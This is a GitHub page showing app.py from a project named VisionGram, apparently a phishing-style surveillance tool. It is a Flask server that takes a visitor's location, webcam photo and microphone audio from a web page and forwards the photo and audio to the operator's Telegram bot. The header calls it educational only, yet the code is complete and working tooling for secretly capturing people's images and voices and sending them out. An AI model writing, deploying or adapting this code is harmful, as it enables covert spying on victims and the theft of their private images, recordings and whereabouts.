-
Notifications
You must be signed in to change notification settings - Fork 0
/
app.py
53 lines (41 loc) · 1.67 KB
/
app.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
'''
🌎 VisionGram 🌎
^ Author : Cisamu
^ Name : VisionGram
^ Github : https://github.com/cisamu123
> This program is distributed for educational purposes only.
'''
from flask import Flask, render_template, request, jsonify
import requests
app = Flask(__name__)
bot_token = "TELEGRAM_TOKEN_HERE"
chat_id = "TELEGRAM_CHAT_ID_HERE"
@app.route('/')
def index():
return render_template('index.html')
@app.route('/send_location', methods=['POST'])
def send_location():
data = request.get_json()
latitude = data['latitude']
longitude = data['longitude']
full_location = f'Latitude: {latitude}, Longitude: {longitude}'
google_maps_url = f'https://www.google.com/maps?q={latitude},{longitude}'
return jsonify({'message': 'Location received successfully', 'full_location': full_location, 'google_maps_url': google_maps_url})
@app.route('/send_photo', methods=['POST'])
def send_photo():
photo = request.files['photo']
url = f'https://api.telegram.org/bot{bot_token}/sendPhoto'
files = {'photo': ('webcam_photo.png', photo)}
data = {'chat_id': chat_id}
response = requests.post(url, files=files, data=data)
return jsonify({'message': 'Photo sent successfully'})
@app.route('/send_audio', methods=['POST'])
def send_audio():
audio = request.files['audio']
url = f'https://api.telegram.org/bot{bot_token}/sendVoice'
files = {'voice': ('audio.wav', audio)}
data = {'chat_id': chat_id}
response = requests.post(url, files=files, data=data)
return jsonify({'message': 'Audio sent successfully'})
if __name__ == '__main__':
app.run()